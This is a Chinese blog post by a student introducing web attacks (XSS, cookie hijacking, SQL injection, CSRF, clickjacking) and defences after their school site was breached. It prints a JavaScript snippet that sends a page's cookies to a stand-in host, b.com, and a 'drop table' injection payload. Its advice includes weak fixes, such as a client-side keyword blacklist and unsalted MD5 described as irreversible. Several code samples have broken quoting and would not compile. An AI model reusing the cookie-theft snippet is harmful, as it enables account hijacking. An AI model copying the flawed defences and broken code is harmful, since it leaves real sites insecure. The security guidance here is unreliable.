Web安全——前端JS表单验证过滤

摘要：这里就提及一下所推出的图片验证，目前已经被很多人报道也是不安全的，攻击者可以直接将图片处理后丢入百度的识图接口，返回的数值让人惊讶。

之前忙于做各种事情，已经很久没写过文章，最近接的一个学校的网站项目，近期被人用自动脚本攻破了（笑...），因为我们第一次做这种上线的项目，完全没有意识到一些web安全的知识，所以就开始了紧急的漏洞补救和防护措施。所以我就把近期学习的知识总结下。目前我水平有限，只能做一个初级认识，让一些刚入行做上线的实际项目的同学能有所警惕。

作为这个网站项目组长，我是完全不知道这些安全隐患问题的，团队的人员也没有研究过这些，所以造成了这个情况，因为我们是在校大学学生，确实学无余力来研究这些，希望对还未出社会的初学者提个醒。

我只会大概提及它的攻击原理和预防方法，具体的实现和深入研究还请大家自行百度，因为只有真正需要用到才会去详细了解，这里我只为web安全小白做知识扫盲。因为博主目前接触最多的服务端语言是JAVA所以例子都从java web项目来讲。

虽然我们目前做的是一个博客的小网站，但是以后无论是自己的博客还是实际的项目，都可以用图片来提供外链，方便管理，如果你的网站访问量很高啊，一天几十万几百万啊，我的天啊，这时候你考虑的就不是服务器空间够不够大，而是惊人的并发数啊，光是请求html文件（或其他）的链接就处理不过来了，哪还有多余的资源去读取图片啊，索性就把图片存另一个服务器吧，给主服务器减轻压力啊，于是图床诞生了。

反射型XSS

它是通过诱使用户打开一个恶意链接，服务端将链接中参数的恶意代码渲染到页面中，再传递给用户由浏览器执行，从而达到攻击的目的。如下面的链接：

http://a.com/a.jsp?name=xss

a.jsp将页面渲染成下面的html：

Hello xss

这时浏览器将会弹出提示框。

这算是常见的一种方法，预防的话可以通过后台编写方法来拦截过滤到这些非法或有攻击性的字符。

持久型XSS

持久型XSS将恶意代码提交给服务器，并且存储在服务器端，当用户访问相关内容时再渲染到页面中，以达到攻击的目的，它的危害更大。

比如，攻击者写了一篇带恶意JS代码的博客，文章发表后，所有访问该博客文章的用户都会执行这段恶意JS。

这个相对来说对我们开发网站来说不算重要，但是要小心攻击者在你网站注入一些非法代码，从而达到这个目的。

Cookie中一般保存了当前用户的登录凭证，如果可以得到，往往意味着可直接进入用户帐户，而Cookie劫持也是最常见的XSS攻击。以上面提过的反射型XSS的例子来说，可以像下面这样操作：

首先诱使用户打开下面的链接：

http://a.com/a.jsp?name=xss

用户打开链接后，会加载b.js，并执行b.js中的代码。b.js中存储了以下JS代码：

var img = document.createElement("img");
img.src = "http://b.com/log?" + escape(document.cookie);
document.body.appendChild(img);

上面的代码会向b.com请求一张图片，但实际上是将当前页面的cookie发到了b.com的服务器上。这样就完成了窃取cookie的过程。

防御Cookie劫持的一个简单的方法是在Set-Cookie时加上HttpOnly标识，浏览器禁止JavaScript访问带HttpOnly属性的Cookie。

输入检查
对输入数据做检查，比如用户名只允许是字母和数字，邮箱必须是指定格式。

一定要在后台做检查，否则数据可能绕过前端检查直接发给服务器。
一般前后端都做检查，这样前端可以挡掉大部分无效数据。
对特殊字符做编码或过滤，但因为不知道输出时的语境，所以可能会做不适当的过滤，最好是在输出时具体情况具体处理。

输出检查
对渲染到HTML中内容执行HtmlEncode，对渲染到JavaScript中的内容执行JavascriptEncode。

另外还可以使用一些做XSS检查的开源项目。

SQL注入常常会听到，它与XSS类似，是由于用户提交的数据被当成命令来执行而造成的。下面是一个SQL注入的例子：

String sql = "select * from user where username = "" + username + """;

像上面的SQL语句，如果用户提交的username参数是leo，则数据库执行的SQL为：

select * from user where username = "leo"

但如果用户提交的username参数是leo’; drop table user–，那执行的SQL为：

select * from user where username = "leo"; drop table user--"

在查询数据后，又执行了一个删除表的操作，这样的后果非常严重。

博主本人的网站就是主要被SQL注入导致网站数据库受损

防止SQL注入最好的方法是使用预编译语句，如下面所示：

String sql = "select * from user where username = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
ResultSet results = pstmt.executeQuery();

不同语言的预编译方法不同，但基本都可以处理。

如果遇到无法使用预编译方法时，只能像防止XSS那样对参数进行检查和编码。

博主后面会贴出自己完善项目的检测代码，就是对网站可以进行数据提交的表单的输入进行SQL语句检测。

跨站请求伪造的英文全称是Cross Site Request Forgery，是由于操作所需的所有参数都能被攻击者得到，进而构造出一个伪造的请求，在用户不知情的情况下被执行。看下面一个例子：

如果a.com网站需要用户登录后可以删除博客，删除博客的请求地址如下：

GET http://a.com/blog/delete?id=1

当用户登录a.com后，又打开了http://b.com/b.html，其中有下面的内容：

这时会以用户在a.com的身份发送http://a.com/blog/delete?id=1，删除那篇博客。

验证码

CSRF是在用户不知情的情况下构造的网络情况，验证码则强制用户与应用交互，所以验证码可以很好得防止CSRF。但不能什么请求都加验证码。

referer检查

检查请求header中的referer也能帮助防止CSRF攻击，但服务器不是总能拿到referer，浏览器可能出于安全或隐私而不发送referer，所以也不常用。倒是图片防盗链中用得很多。

Anti CSRF Token

更多的是生成一个随机的token，在用户提交数据的同时提交这个token，服务器端比对后如果不正确，则拒绝执行操作。

作为了解，一般前面的攻击都过了，就可以造成此类攻击。

点击劫持是从视觉上欺骗用户。攻击者使用一个透明的iframe覆盖在一个网页上，诱使用户在该网页上操作，而实际点击却是点在透明的iframe页面。

点击劫持延伸出了很多攻击方式，有图片覆盖攻击、拖拽劫持等。
点击劫持的防御

针对iframe的攻击，可使用一个HTTP头：X-Frame-Options，它有三种可选值：

DENY： 禁止任何页面的frame加载；
SAMEORIGIN：只有同源页面的frame可加载；
ALLOW-FROM：可定义允许frame加载的页面地址。

针对图片覆盖攻击，则注意使用预防XSS的方法，防止HTML和JS注入。

作为了解，一般前面的攻击都过了，就可以造成此类攻击。

我们负责的团队项目为学校网站制作，所以涉及到用户输入的地方都在后台管理模块，从后台登录界面开始就应该做一些防护措施了。

function validate(value) {
    var pattern = /[`~!@#$%^&*()_+<>?:"{},./;"[]]/im;
    if (value === "" || value === null) return false;
    if (pattern.test(value)) {
        alert("非法字符！");
        return false;
    }
    return true;
}

function filterSqlStr(value) {
    var str = "and,delete,or,exec,insert,select,union,update,count,*,",join,>,<";
    var sqlStr = str.split(",");
    var flag = true;
    
    for (var i = 0; i < sqlStr.length; i++) {
        if (value.toLowerCase().indexOf(sqlStr[i]) != -1) {
            flag = false;
            break;
        }
    }
    alert(flag);
    return flag;
}

JS封装的2个方法，用于返回布尔值来判断是否通过。第一个为了过滤掉非法字符，第二个为了过滤有关数据库操作的非法字符。

//password  Md5
    
        public static String MD5Password(String oldstr) {
     
            char hexDigits[] = { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
                    "a", "b", "c", "d", "e", "f" };
     
            byte[] oldbytes = oldstr.getBytes();
            
            try {
                
                MessageDigest md = MessageDigest.getInstance("MD5");// 获取对象
                
                md.update(oldbytes);// 初始化对象
                
                byte[] newBytes = md.digest();// 运行加密算法
                
                char[] newStr = new char[32];
                
                for (int i = 0; i < 16; i++) {
                    
                    byte temp = newBytes[i];
                    
                    newStr[2 * i] = hexDigits[temp >>> 4 & 0xf];
                    
                    newStr[2 * i + 1] = hexDigits[temp & 0xf];
                    
                }
                
                return new String(newStr);
                
            } catch (NoSuchAlgorithmException e) {
                
                return null;
                
            }
     
        }

通过在后台对数据库中，管理员的密码进行MD5加密然后存入加密后的字段进去，在前台通过加密前的字段输入后在后台进行方法验证，实现MD5加密登录。防止数据库的密码被暴露查询出来。加密后无法被反解密出来。

同前台登录一样的检测方法，因为我只负责前台检测，如果黑客绕过了我的检测，就要进行后台对数据传过去的值进行检测，这时候就是后台人员的工作了。所以前后台都要进行这些字符检测，但是后台的责任要重一点，因为数据最终流向是在后台服务器端，前台只是初步防护而已。

目前验证码字符验证已经逐渐推出舞台，但是有一些专门这块验证服务的第三方平台，通过对验证码字符的不断改进和更新，对一些攻击者来说还是有防护作用，但是个人或企业网站还是用的一尘不变的验证方法的话，就很容易被攻击成功。很多初学者都在前台浏览器客户端用JS进行字符验证，很容易被破解跳过。好点的就在服务器进行检验，但是还是能被一些黑客经过长期的经验发明的一些工具破解。
这里就提及一下12306所推出的图片验证，目前已经被很多人报道也是不安全的，攻击者可以直接将图片处理后丢入google、百度的识图接口，返回的数值让人惊讶。

居然能把第二张图识别为沙县小吃，我是觉得目前的人工智能的图像识别技术很厉害，所以要不了多久这种验证方式也会被淘汰，除非不断更新图片库。

滑块验证和12306的图片识别验证目前算是比较安全的验证手段，滑动验证的核心并不是简单的拼接成功就可以过，所以也不是简单的算一下偏移量就能破解。滑动验证做的好的是通过采集你的滑动过程轨迹与服务器端的海量样本进行对比，区分人还是机器，用到了很多深度学习的技术，当然市面上也有一些滑动验证只是前端拼接就能过，大家还是要多多研究一下。

反正如果项目需要用到验证码这块，不能考虑只在客户端进行JS验证，客户端的JS验证有的前提下，还要把数据返回到后台来进行验证，这样可以大概率保证网站安全性，网站的攻防一直是持久的话题，没有绝对的安全也没有绝对的攻击。推荐大家多尝试网上的第三方服务商提供的验证服务，这样节省自己的精力来研究验证漏洞以及频繁的更新验证方法。

在校期间第一次认识到web安全重要性，目前只是初步的认识，如果后面了解了更多相关的知识，会继续做补充。关于hexo搭建的博客的技术应该不会再出什么文章了，有需要了解其他的知识的，会有困难的可以联系我或下方留言，然后看情况是否整理为一篇文章来集中回答帮助其他人。